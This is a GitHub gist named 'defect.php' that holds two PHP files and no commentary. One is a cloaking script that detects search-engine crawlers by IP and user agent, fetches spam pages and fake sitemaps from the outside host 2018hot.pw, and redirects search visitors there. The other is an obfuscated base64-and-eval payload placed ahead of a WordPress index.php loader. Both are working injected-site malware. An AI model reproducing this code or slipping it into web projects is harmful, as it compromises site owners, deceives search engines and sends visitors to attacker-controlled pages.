Last active
February 5, 2021 18:36
-
-
Save mahpah/cc726d29a0225d8c714f45272fc3c7d5 to your computer and use it in GitHub Desktop.
defect.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
error_reporting(0); | |
$isIp = false; | |
$ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.255.255') , array('66.249.0.0' , '66.249.255.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') , array('216.172.128.0' , '216.239.159.255') , array('64.68.80.0' , '64.68.95.255'), array('205.164.0.0' , '205.164.63.255') , array('50.117.0.0' , '50.117.127.255') , array('23.104.0.0' , '23.104.255.255') , array('23.80.0.0' , '23.80.255.255') , array('104.132.0.0' , '104.132.255.255') , array('104.134.0.0' , '104.134.255.255') , array('104.135.0.0' , '104.135.255.255') , array('38.99.82.0' , '38.99.251.255') ); | |
$localIp = get_ip(); | |
$isIp = is_ip($localIp,$ipRanges); | |
$isbot = isCrawler(); | |
if ($isbot && isset($_GET['action']) && $_GET['action']=='test'){ | |
echo "test ok"; | |
exit; | |
} | |
if (preg_match("#(.jpg|.jpeg|.png|.gif|.css|.js|.pdf|.ico)#si", $_SERVER["REQUEST_URI"])){ | |
header("HTTP/1.1 404 Not Found"); | |
header("Status: 404 Not Found"); | |
exit; | |
} | |
if (stristr($_SERVER["REQUEST_URI"],"sitemap.xml") || stristr($_SERVER["REQUEST_URI"],"sitemap_1.xml")){ | |
$siteLink='http://'.$_SERVER['HTTP_HOST']; | |
$date = getcontent("http://www.2018hot.pw/page50-33/sitemap.txt"); | |
$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; | |
$mapEnd = PHP_EOL . '</urlset>'; | |
$n = 5; | |
$datas = explode("\r\n", $date); | |
if (count($datas)<=1){ | |
$datas = explode("\n", $date); | |
} | |
$datas[0] = substr($datas[0],3); | |
$suffixs = explode("|", $datas[0]); | |
$avg = (int)(50000/(count($datas)-1)/count($suffixs)); | |
$mapMid = ""; | |
for($i=1;$i<count($datas);$i++){ | |
for ($s=0;$s<count($suffixs);$s++){ | |
for($j=1;$j<$avg;$j++){ | |
$date = date("Y-m-d"); $time = date("H:i:s"); | |
$p_c = explode("|", $datas[$i]); | |
$pid = mt_rand(1, $p_c[1]); | |
$url = $siteLink.U($p_c[0], $pid, $suffixs[$s]); | |
$mapMid .= " <url> | |
<loc>" . $url . "</loc> | |
<lastmod>". $date . "T" . $time ."-05:00</lastmod> | |
<changefreq>daily</changefreq> | |
<priority>0.1</priority> | |
</url> | |
"; | |
} | |
} | |
} | |
header("Content-type: text/xml"); | |
echo $mapPre.$mapMid .$mapEnd;exit; | |
} | |
if(($isbot && $isIp) || (isset($_GET['action']) && $_GET['action']=='bottest')){ | |
$content = getcontent("http://www.2018hot.pw/page50-33/page_desc.php?".$_SERVER['HTTP_HOST']."|".str_replace("?action=bottest","",$_SERVER["REQUEST_URI"])); | |
echo $content; | |
exit; | |
} | |
if (!$isIp && preg_match("#(google.co.jp|yahoo.co.jp|docomo.ne.jp)#si", $_SERVER["HTTP_REFERER"])){ | |
echo "<script>window.location.href='http://www.2018hot.pw/page50-33/go.php?".$_SERVER['HTTP_HOST']."|".$_SERVER["REQUEST_URI"]."';</script>"; | |
exit; | |
} | |
function getcontent($url){ | |
if ($url=="") return ""; | |
if(function_exists('curl_init')){ | |
$con = curl_init((string)$url); | |
curl_setopt($con, CURLOPT_HEADER, false); | |
curl_setopt($con, CURLOPT_RETURNTRANSFER,true); | |
curl_setopt($con, CURLOPT_TIMEOUT, 120); | |
$result = curl_exec($con); | |
curl_close($con); | |
}else{ | |
$result = file_get_contents($url); | |
} | |
return $result; | |
} | |
function get_ip($type = 0) { | |
$type = $type ? 1 : 0; | |
static $ip = NULL; | |
if ($ip !== NULL) return $ip[$type]; | |
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { | |
$arr = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); | |
$pos = array_search('unknown',$arr); | |
if(false !== $pos) unset($arr[$pos]); | |
$ip = trim($arr[0]); | |
}elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { | |
$ip = $_SERVER['HTTP_CLIENT_IP']; | |
}elseif (isset($_SERVER['REMOTE_ADDR'])) { | |
$ip = $_SERVER['REMOTE_ADDR']; | |
} | |
$long = sprintf("%u",ip2long($ip)); | |
$ip = $long ? array($ip, $long) : array('0.0.0.0', 0); | |
return $ip[$type]; | |
} | |
function is_ip($localIp,$ipRanges) | |
{ | |
$localIp = ip2long($localIp); | |
foreach($ipRanges as $val) | |
{ | |
$ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1])); | |
if($localIp >= $ipmin && $localIp <= $ipmax) | |
{ | |
return true; | |
} | |
} | |
return false; | |
} | |
function isCrawler() { | |
$agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) { | |
$spiderSite= array( | |
"Googlebot", | |
"Mediapartners-Google", | |
"Adsbot-Google", | |
"Yahoo!", | |
"Google AdSense", | |
"Yahoo Slurp", | |
"bingbot", | |
"MSNBot" | |
); foreach($spiderSite as $val) { | |
$str = strtolower($val); if (strpos($agent, $str) !== false) { | |
return true; } | |
} | |
} else { | |
return false; } | |
} | |
function U($cid,$pid,$suffix){ | |
$href = str_replace("{c}", $cid, $suffix); | |
$href = str_replace("{0}", $pid, $href); | |
$hrefs = str_split($href); | |
$char_array=array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'); | |
$num_array = array('0','1','2','3','4','5','6','7','8','9'); | |
$newhref = ""; | |
foreach ($hrefs as $h){ | |
if ($h=='$') $newhref .= $char_array[array_rand($char_array)]; | |
elseif ($h=='#') $newhref .= $num_array[array_rand($num_array)]; | |
else $newhref .=$h; | |
} | |
return $newhref; | |
} | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php $O00OO0=base64_decode("bjF6Yi9tYTVcdnQwaTI4LXB4dXF5KjZscmtkZzlfZWhjc3dvNCtmMzdq");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iT3NBY05abWxwTWZHYXpEWWR5UVVpZ1BYalRJa0hoYkZKbkNWTHVCcktFdHhXUlN2d3Flb0tsdWRyR2N5a25tYU1EalJZZnBJUUhYaUJ4WkZoZXF0QU5Ddm93UFZ6V2dPVEVVYnNTTEpYajlzTWh1ckNjdmZkYzlmaTNBeWRhOWZZYXl3R2ZIc3p4bHJDUUVrZDB5c1pqMEhHY3RsZDJJN2pwSkZNaVBVUlQ1TkdpbkhYVVBlZE5BZUxVSEhaYXRmZGN0NXpDZDJyQzRmbkRud254UnNvQnVOWkNzSEFEUjBvQlpEbmY0T0t4V3duQkkxQWZGbFpDdUhSaUFmUmlGSkFEUjJvQldzblE0c29CdU5aQ3NIQURSMm9CV3NuUTRmcnhJd25CSTFBZkZIb0N1SFphdGZkY3Q1ekNkMnJRNGZyakZ3bkM0c0FmdWxaQ2QyclE0ZnJqRnduQkkxb0JaMXJVZGtaQ3NIWkNQZWROQWVMVUhOckRad254cHdueEZmb0J1TlpDc0hBRGRmb0JXMG9CWjFyVTRmcnhJTnpVdWxaQ3VIUmlBZlJpRkpBRGQwb0JXZnJVNHNvQnVOWkNzSEFEZDBvQldmclU0ZnJ4SXduQkkxQWZGSG9DdUhaYXRmZGN0NXpDZGZuakZ3S2pJd254WjRvQnVOWkNzSEFEWnNLVTQ0clU0ZnJ4SXduQkkxQWZGSG9DdUhaYXRmZGN0NXpDZGZueFJ3bkJuNW9CbmZvQnVOWkNzSEFEWk9yUTRmbkRGd3JCbnduQkkxQWZGSG9DUGVkTkFlTFVITm5CVzJvQlczblE0T25CSHduQ2RIb0N1Tm5CVzJvQlpES1U0T3J4RnduQkkxQWZGSG9DdUhSaUFmUmlGSkFEUjBvQlI0b0JIc29CdU5aQ3NIQURSMG9CUjRvQkYxb0JaMXJVZGtvQ3VIUmlBZlJpRkpBRFpzclU0T3JCcHduQzRzQWZ1bFpDZGZuakl3bnhSMG9CUkRvQloxclVka1pDc0haYXRmZGN0NXpDZDFuQzRPbnhkd25DNHNBZnVsWkNkMW5DNE9ueGR3bnhaM29CWjFyVWRrWkNzSFphdGZkY3Q1ekNkZm5mNE9uanB3bkM0c0FmdWxaQ2RmbmY0T25qcHduQkkxb0JaMXJVZGtaQ3NIWmF0ZmRjdDV6Q2RmbmY0NG5DNHNvQnVOWkNzSEFEWkRvQkhzb0JaMXJVNGZyeElOelV1bFpDUGVkTkFlTFVITm54dTBvQldEblE0c29CdU5aQ3NIQURXc3JDNE9uRFp3bkJJMW9CWjFyVWRrWkNzSFphdGZkY3Q1ekNkT25qcHdueG4wb0J1d25DZEhvQ3VObnh1MG9CV0RyQzRmcnhJd25CSTFBZkZIb0N1SFJpQWZSaUZKQURXc3JDNE9uREl3bkM0c0FmdWxaQ2RPbmpwd254bjFvQloxclU0ZnJ4SU56VXVsWkNQZWROQWVMVUhObkRId0t4RndLalp3bkNkSG9DdU5uREh3S3hGd25CSU9vQloxclVka1pDRjdqcEpGcWE5QlJUT0FkQ3U5WmFZeVl0OWtkQ0hrS3MwekFheURVaXVIWFVQa2QxOWtkQ0hGcWE5QlJUT0FkQ3NGTWlQVVJUNU5HaW5rS3MwekFheURSYzkwWmowSE1pcmpkY3QzcWF2ZnpDRjdqcGtrR1F1SkFheURSYzkwWkNSY1pheURkMnYwekNFbUUwdklUZlllUjNFa3EyNE5pVUZIQVFSSEF0OWhFdkVxQTJ0QllheWJxUVlZWHgwTllhdkRZQ2RrTHMwelpDdUhaYXZCTWE4SFpORXlkM3BIcTJsUUtzMHpaQ3VIWmF2NE1pcDdqcGs5anBra0dRdUpkaEF5RzE5Z1JpRUJNQ0hRWmZId01OUE5tQzVTZGF2Tm1DNXNxY1k4b2NZa0dOc3dSM3JEbUM1U2Qzc3dkYUVjbUM1a1IyOGtaM3JrWlFzSEF0OXhFdkFURXZBcVp5QXRJdnZ0STFFbXZ2QUFaeTBremlsckNRdUhaQ1BKR1R0RkdpWkpaRmVJdnR1Ym5VNE9aanBzckNQS3EzcEhFYzkxcWNwUXp4bHJDUXVIWkNQSkdUdEZHaVpKWnlyMFJpRTFkREpIcmp1MFpXNWJZQ1BhcTN2d0dDWmtLczB6WkN1SFphdjRNaXA3anBrOWpwa2tHUXVKZDNFZk1pcjBkUUhGaTFydEl5R3RJeWxRSUZ2RXZJdnh2dDl2SUZGUWlVc1FkMnkwR1QxZWRDNTRxVHNRelVQOG1DUERZaEFrZDNFZnpDRW1JMHZVdkZ2VVRmQVVFdnR2RXZySWkxdlVVVUFZb0NBRE1pRXlxVHRzaURXd0xhMWxaUUZrTHMwelpDdUhaQ0VETWlFeXhheXdNRDBOTWhFMGRqSmJvZmR3QXQ5eEV2QVRFdkFxQTBlSXZ0UG1VVzl4dkNZWUtzMHpaQ3VIWkNFRlJpRXlaajBIRzJ2MFIyOXdZYXZ3WUNIUU1oRTBkakpibzNZM1lmNGZualc0TWE5MG9OUDNvM1BlRzJJMW5DMERuZjlETWlFeXFUdHNvTkU0WUNaa0tzMHpaQ3VIWkNFZ1JpUHBkY0lIWFV1TlhDZHdBRDk0cVRzSFljdmZkMnlicUIwUW5VNHNaUVB5cWNyYkdheXdHRDBRdnZFYW94SFFaajhOb1FkK0FmNEhJV2VwaTB2WHhDNE5YaHZmcWhyeVlDUDRxVE93ZEQwUU1oRTBkakpibzNZM1lmNURNaUV5cVR0c2RmNWJkY2RiZDJySkdUMWVkZjlETWlFeXFUdHNvRHV3S1VaK0FmdXdadFBaSXQ5dHgwczdqcEpIWkN1SEFhMWVkV3Z3R0N1OVp0UFpJdDl0eDBzSG9RdUhBRHNiWWlBbGQydjBYUWQ3anBKSFpDdUhBYTRIWFV1MUtzMHpaQ3VIWkNFRlJpRWVkZnU5WmF2NGRhT2JHYUlKWnlPZmlhNFFvQ3VGR2F0MEdVRjdqcEpIWkN1SE1UUkh6YXJiWVQ1MHpDRUZSaUVlZGZGOFh4V2tMczB6WkN1SFpDdUhaQ3VGR2F0MFJpbkhYVVB5TGhQbHEyRXl6Q0FkcVFabFpDRUZSaUV5enhsckNRdUhaQ1A5anBKSFpDdUhBYUVlWWF0RFREUFlaajBIZDN2UWQzRWZ6Q0VGUmlFZWQxbHNpVXNEenhsckNRdUhaQ3VGZDN2Y0djeTRkZnU5WmF2NGRhT2JHYUlKWk5zUW9DdUZHYXQwUmlycW50MGtLczB6WkN1SFpDRWVZY2RIWFV1Sk1UNTB6VUgxbmp1c25DOEpSMjkxcU5wSkFhRWVZYXREelUwT3pVOUJxM3Z3WUNIRmQzdmNHY3k0ZGZGa0tzMHpaQ3VIWkNFZ1JpUHJNVHBIWFV1UVpCbHJDUXVIWkNQY3EzWkpBYUY5bnhsRk14T0JxM3Z3WUNIRkdhdDBSaW5rS2ZFa3pmbGtMczB6WkN1SFpDdUhaQ1BjcTNaSHpDRURYeHU3QWhuOFIyOTFxTnBKQWhyMUdjR2tMaG5rS2ZFRHpmbGtMczB6WkN1SFpDdUhaQ3VIWkN1SEdjOWZ6Q0VTWHhXN0FhSjhBYXQyR0RsRk1RbFZ6aWxyQ1F1SFpDdUhaQ3VIWkN1SFpDdUhaQ3VGR2F0MEdVdTlaYUVlWWFJSlp5RmdxVTFGWlFGN0NwRkFBaEVrcVRJSFhVUEZSaUV5ekNBWktjRjZkZlprS3MwelpDdUhaQ3VIWkN1SFpDdUhaQ3VIWkNFc2kybkhYVVB5TGhQbHEyRXl6Q0E4WlFzSEFhRWVZYXREVGZFa2lVRjdqcEpIWkN1SFpDdUhaQ3VIWkN1SFpDdUhBaFBrR0N1OVphMTBpM0FlcWNwSm5Vc0hBaFBtUjFsT2lVRjdqcEpIWkN1SFpDdUhaQ3VIWkN1SFpDdUhBaHZmcUN1OVpDRURNaUV5eGF5d01mNXZ6Q0VzaTJycW50MGxaQ0VzTVRwbFpDRURZVEdjTWllRFRmRURpVUY3anBKSFpDdUhaQ3VIWkN1SFpDdUhaQ3VIQWExZWRXMWtHQ3V3WFV1UVpDdUhaQ3U4WWlBbFhIMHpaQ3VIWkN1SFpDdUhaQ3VIQ3BGQVpqT2xxMm4rWlF1d1pDRTFkY3NIb1F1UVhDOWxxMm4ranBKSFpDdUhaQ3VIWkN1SFpDdUFDcEZIWGFPZWQzRWdxMnArWlE0SEFhRWVZYUlIb1F1UXZDWkhvUXVGWWF5Z0dVdXdaUTBzcnhKc25qc2JxYXREWWExYkdqNHJDUXVIWkN1SFpDdUhaQ3VIWnVGQUNVdThSMmVlcWNZeUdOQXlkeDVGUlR5bEx4c2JSMmVlcWNZeUdOQXlkeDRyQ1F1SFpDdUhaQ3VIWkN1SFp1RkFDVXU4ZGhBa3EzQWtZaEYrbkM0T1hDOXNkY3liZGN5MEx4NHJDUXVIWkN1SFpDdUhaQ3VIWnVGQUNVdThvM3ZmcWo0ckNRdUhaQ3VIWkN1SFpDdUhadUZBWkJsckNRdUhaQ3VIWkN1SFpDdUhaaDByQ1F1SFpDdUhaQ3VIbXAwelpDdUhaaDByQ1F1SFpDUEpHVHRGR2laSlpGcmJxTkV5cU5wZ1loeXNHeEpIWWF2NFlDOTRxVHNRenhsckNRdUhaQ1B5UjJlYlpDRWdSaVBwZGNJd0FhMWVkVzFrR0N1d0FhMWVkV3Z3R2pneUxheTBLczB6bXAwempwa2tHUUhKQWF5RFJjOTBaQ1JjWkNFa2QweXN6VVA4bUN1Sk1pckRHaXBKQXQ5aEV2RXFBMnRCWWF5YnFRWVl6VXVjQVF1RmkwWXR2dGxOUlRyME1UOXdBMTA5WFVZUXEzRTBHaXIwQWZGa0xzMHpaQ3VIWkNFQnEyNTBHVDUwWmowSEcydjBSMjl3WWF2d1lDSFFNaEUwZGpKYm8zWTNZZjRmbmpXNE1hOTBvTlAzbzNQZUcySTFuQzBEbmY5c1JUWXlpMkV5ZDJud2RhZXNYZlp3QXQ5eEV2QVRFdkFxQTBlSXZ0UG1VVzl4dkNZWW9RQThaUTVEWWhBbWRjdnNxYXRCR1VIUVgydEJZYXlicUIxUXEzRTBHaXIwWlFzUVpRc0ZpMXJ0SXlHdEl5bFFJRnZFdkl2eHZ0OXZJRkZRaVVGa0tzMHpaQ3VIWmF2Qk1hOEhBYXJicU5FeXFOcDdqcEpIWkN1SEdpZWtZamxyQ04wckNIMHpNVFJIekNXRk1pckFkQ3VjQVFQc2Rjdk5pMjFlWWFySnpDWkJ6YVlicTJZbEdVNUJxZjVTZGhPNVJUZWJxZjVCcWY1U2RoT0ZxMnJicVQ4d3FjSXdNTnVrWjNya1pRc0hBdDl4RXZBVEV2QXFaRmVJdnRQbUlGdmFFdkF0SVFBWXpVeTdqcEpIWkN1SEdUckpxZnVRWGhyQmRjeXNZajUzTVQ1RnEzZHdxYTlCUmlFa3EyNHdNaEF5R0IwTk1oRTBkakpibzNZM1lmNGZualc0TWE5MG9OUDNvM1BlRzJJMW5DMERuZjlOcWY1c01odS9aUTRGaTFydEl5R3RJeWxOVXRFSUl0OVp4MXJJQTEwd1pOc1FvUUVtSTB2VXZGdlVUZkFVRXZ0dkV2cklpMXZVVVVBWW9RWk5LRHNiZDJyZk1pUDBYUVo3anBKSFpDdUhHaWVrWWpsckNOMHJDSDB6R052d1IzRWtxMjRIRzJ2MFIyOXdZYXZ3WUNIRllpQWx6aWxyQ1F1SFpDUGtHUXVKQWh2ZnFqMDlaUVprWmhBeVlodmZxUXVRWkJsckNRdUhaQ1BrR1FlY1lUNUJZYXlicXk5eUxheURZaG5KQTJyMWRjT21NVDVrWUNka3ppbHJDUXVIWkN1SFpDdUhBYXJicVF1OVphcjFkY09tTVQ1a1lDSEpkM0VmTVQ1TnpVRTFkY3NrS3MwelpDdUhaQ3VIWkNQQllpQWxpM3J5WWE5c1lDSEZSMjl3b0NQanZ2QW54MVBJaTBldHBJRXRJUXNIR2N0bGQySWtLczB6WkN1SFpDdUhaQ1BCWWlBbGkzcnlZYTlzWUNIRlIyOXdvQ1BqdnZBbngxUElpMUF0dnR2VXh5RVVwSTV4RUZ2VW9oRWZZVElrS3MwelpDdUhaQ3VIWkNQQllpQWxpM3J5WWE5c1lDSEZSMjl3b0NQanZ2QW54MVBJaTFFQXhJdlh2dnBsWmpXZm5DRjdqcEpIWkN1SFpDdUhaQ0VmR2lyMXFocEhYVVBCWWlBbGkydjRHVG5KQWFyYnFRRjdqcEpIWkN1SFpDdUhaYXIxZGNPbVIyT2JkMklKQWFyYnFRRjdqcEpIWkN1SG1UdmxkMnY3anBKSFpDdUhaQ3VIWkNFZkdpcjFxaHBIWFVQY01UT3lpMll5WXQ5QnEyNTBHVDUwZGZIRllpQWx6eGxyQ1F1SFpDUDlqcEpIWkN1SGRjdjBZaUF3WkNFZkdpcjFxaHA3anBrOWpwSnJDY0cxcWNyME1UOXdaYVl5WXQ5a2RDSEZZaHlzR1V1OVpqdWtaaGxyQ1F1SFpDdUZZaHlzR1V1SFpDdUhaQ3U5WkN1RlloeXNHVXUvWmpXSEtRdXNLczB6WkN1SFpocjBSaUVrUmZ1Rk1pdUhaajBIWkNQS3ZJT25LczB6WkN1SFpheWNaQ0hGTWl1SFp4MDlaVzV2eFdza1poQXlZaHZmcVF1Rk1pUHFBaEU1ZGF2WUtzMHpaQ3VIWmF5Y1pDZWtkM3J5WUNIRmkxcnRJeUd0SXlsTlV0RUlJdDlSaTBHWEl5WVBJRkV0RXQ5YXgxWk5pVUZrWmhsckNRdUhaQ3VIWkN1SEFhdGZkUXVIWkN1OVpDdUhHaWVzcWE5RkdVSE5vQ2RsWkNFbUkwdlV2RnZVVGZZWnZ0RXBpMWVtRUY5VXYwdFVFV3ZXaTBHWElRWVl6eGxyQ1F1SFpDdUhaQ3VIQWhQYmRmdUhaQ3U5WkN1SFJpQWZSaXltZDJ2ZWRjckp6Q1kxcWNnd3EzWXdBZnNGUmlBZnp4bHJDUXVIWkN1SFpDdUhNVFJKR2N0bGQySUhaeDA5WkNFc3EzbmtaaHZ3ZDJ2MHpDRWVkTkFxQWhQYmQxMGtLczB6WkN1SFpDdUhaQ3VGTWl1SFpDdUhaajBIWkNQMGRjeWd6Q0VlZE5BcW50MGtLczB6WkN1SFpoMXlxaHJ5TVRSSHpheURkMnYwekNFbUkwdlV2RnZVVGZZWnZ0RXBpMHJuVUl2S3Z0OUFJQ1lZelVGSExzMHpaQ3VIWkN1SFpDdUZNaXVIWkN1SFpqMEhaQ3VGaTFydEl5R3RJeWxOVXRFSUl0OWp4V3l0eHlFbVV2dU5peGxyQ1F1SFpDUDlHVE9ER1R5Y1pDZWtkM3J5WUNIRmkxcnRJeUd0SXlsTklGdnJ4MUV0aTB0V0V0Wk5pVUZrWmhsckNRdUhaQ3VIWkN1SEFheXNaQ3VIWkN1OVpDdUhBdDl4RXZBVEV2QXFBMUF0eEk5SUV2OVBFV0VVQTEwN2pwSkhaQ3VIbXAwelpDdUhaQ0VscTI1TlpqMEhkM1BmTVQ1MEdRSFFBaUlRb2F5c25jT2JxY2RKQWF5c3pVRjdqcEpIWkN1SEFheXNaQ3VIWFV1RnFhOXdHZnUvWmF0ZmRjdDV6Q0VrZENzSEFhT2JxY2RrWmpKSFJpQWZSaUZKQUR1d25DNHNvQnVOb0N1c3p4bHJDUXVIWkNQZkdpRTFkYzRIQWF5c1RmRTBMaVB5aXhsckNOMHJDSDB6R052d1IzRWtxMjRITWlybU1pdUpBYU9iUjJ0bFVpdWxBYXlzSWN0d0cydkR6cDB6THMwelpDdUhaQ0VscTJyZXFXeXNaajBITWl1ZnFhOXdHZkhGcWE5QlJUT0FkQ0Y3anBKSFpDdUhHYzlmR1R0Qk1DSEZNaVBVUlQ1TkdpbkhSaW5IQWhHZXFDRnJDUXVIWkNQN2pwSkhaQ3VIWkN1SFpDRWtkYTFrcUIxRGRoQWtxTkVjekNaeVlVWmxNaXVmcWE5d0dmSEZZY3RsVERQWXpVRjdDcEZGTWlQZ1JpSDlkM1BmTVQ1MEdRSFFBaUlRb2F5c25jT2JxY2RKQWhHZXF0bE9pVUZrS3MwelpDdUhaQ3VIWkNQa0dRSEZxYTlCUlRPQWRDdStYVXVGTWlQZ01UNEhBUVJIQWFPYlIydGxVaXVIWGowSEFheXNxVHQ0enAwelpDdUhaQ3VIWkNQN2pwSkhaQ3VIWkN1SFpDdUhaQ1BmR2lFMWRjNEhZaEExR3hsckNRdUhaQ3VIWkN1SG1wMHpaQ3VIWmgwckNRdUhaQ1BmR2lFMWRjNEhHY3RsZDJJN2pwazlqcGtjWVQ1QllheWJxUVBrZDByZlJpWWxHaVpKelVQN2pwSkhaQ3VIQWF0TkdUNTBYVVB1ZDNFZllhOWxxM1l5ZFFIRmkxcnRJeUd0SXlsTlV0RUlJdDl2STB2VWkwdGhFSTVJQTEwa0tzeWtHUXVKWlR2Z2RoRTV6Q0VlRzJ2d1lDRmtaaGxyQ1F1SFpDdUhaQ3VIQWhyc01URXlkeXJrWWFJOVphdGZkY3Q1enUwelpDdUhaQ3VIWkN1SFpDdUhaRllicTJZbEdUQWJZQ1psanBKSFpDdUhaQ3VIWkN1SFpDdVF4VHZGTVR0c1JpQTBxY3ZmZGYxaHEyOU5xYUlRb3UwelpDdUhaQ3VIWkN1SFpDdUhaRnRGZDJBYllDMWhxMjlOcWFJUW91MHpaQ3VIWkN1SFpDdUhaQ3VIWnl5ZU1hOWJaVVpsanBKSFpDdUhaQ3VIWkN1SFpDdVFFMjliRzJPeVpXdEZJMnZ3ZDJJUW91MHpaQ3VIWkN1SFpDdUhaQ3VIWnl5ZU1hOWJadHJsWWlBc1pRc3JDUXVIWkN1SFpDdUhaQ3VIWkNBUU1UNU5SYzkwWlFzckNRdUhaQ3VIWkN1SFpDdUhaQ0FySTA1Q3EzcFFqcEpIWkN1SFpDdUhaQ0Y3Q3B5Y3EzQXlSVHJKekNFRGRheUZHaUF4TWlFeVphdERaQ0UyUlRza1pobHJDUXVIWkN1SFpDdUhaQ3VIWkNFRFloWkhYVVBEWWhBMHEyT2JZMnZmekNFMlJUc2tLc0ZBTVRSSHpocjBkTlBiZGZIRlJUWXlxTnBsWkNFRFloWmtaQ1c5WFVQY1JUT0RHVUZITHMwelpDdUhaQ3VIWkN1SFpDdUhaQ3VIWmhBeVlodmZxUVAwZE52eUtzRkFDaTByQ1F1SFpDdUhaQ3VIbXAwelpDdUhaaDBIR1RPREdVUDdqcEpIWkN1SFpDdUhaaEF5WWh2ZnFRUGNSVE9ER3hsQW1wMHptcDB6anBrY1lUNUJZYXlicVFQdnpDRUJNVHBsQWhQa0dDc0ZkM3ZjR2N5NHppbHJDUXVIWkN1Rk1oQXlHUXU5WmhyMGR5OWZHaVBsUlRyeXpDQTdSMzBRb0N1RlIyeUZvQ3VGZDN2Y0djeTR6eGxyQ1F1SFpDdUZNaEF5R1F1OVpocjBkeTlmR2lQbFJUcnl6Q0E3bmgwUW9DdUZkYXlGb0N1Rk1oQXlHUUY3anBKSFpDdUhBYWVmR1RHRFpqMEhkM0VmaTNyc3FheTB6Q0VKZGN2Y3p4bHJDUXVIWkN1RlIyZWVkeTllZE5BZUx4MWVkTkFlTFVITlJVZGxBMlpOb0NZQkFmc05HQ2RsQTJJTm9DWWNBZnNOR2ZkbEEySE5vQ1lrQWZzTk1RZGxBMmxOb0NZbEFmc05xVWRsQTI0Tm9DWWJBZnNOZENkbEEzV05vQ1lmQWZzTmRmZGxBM3BOb0NZMUFmc05ZUWRsQTNkTm9DWTRBZnNOTFVkbEEzSk56eGxyQ1F1SFpDdUZxTnZnaTJ0ZmRjdDVaajBIUmlBZlJpRkpBRHVOb0NkT0Fmc05uUWRsQURuTm9DZDBBZnNOclVkbEFEUk5vQ2QzQWZzTktDZGxBREZOenhsckNRdUhaQ3VGcWN2M01oQXlHUXU5WkNaUUtzMHpaQ3VIWmFHYmRjdmVSMkhIekNFSmRjdmNkZlBlZGZ1Rk1DeTdqcEpIWkN1SFpDdUhaYXljWkNIRk1qMDlBZnBOelV1RnFjdjNNaEF5R1F1d1hVdUZSMmVlZHk5ZWROQWVMdmdlZE5BZUx2OWZSVDVGekNFQk1hdGZpMnRmZGN0NXp2MDdqcEpIWkN1SFpDdUhaYXZsZDJ2a0dRdUpBYUg5WFVkQkFmRkhBYTV5WTJlZkdUUkhvQjBIQWE1MXF2OWVkTkFlTHZnZWROQWVMdjlmUlQ1RnpDRXdZVDFtUmlBZlJpRmtpeGxyQ1F1SFpDdUhaQ3VIR1RPREdVdUZxY3YzTWhBeUdRdXdYVUVKS3MwelpDdUhaaDByQ1F1SFpDdXJDUXVIWkNQZkdpRTFkYzRIQWE1eVkyZWZHVFI3anBrOWpwSnJDQjgrIjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));?><?php define("WP_USE_THEMES", true); require( dirname( __FILE__ ) . "/wp-blog-header.php" ); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment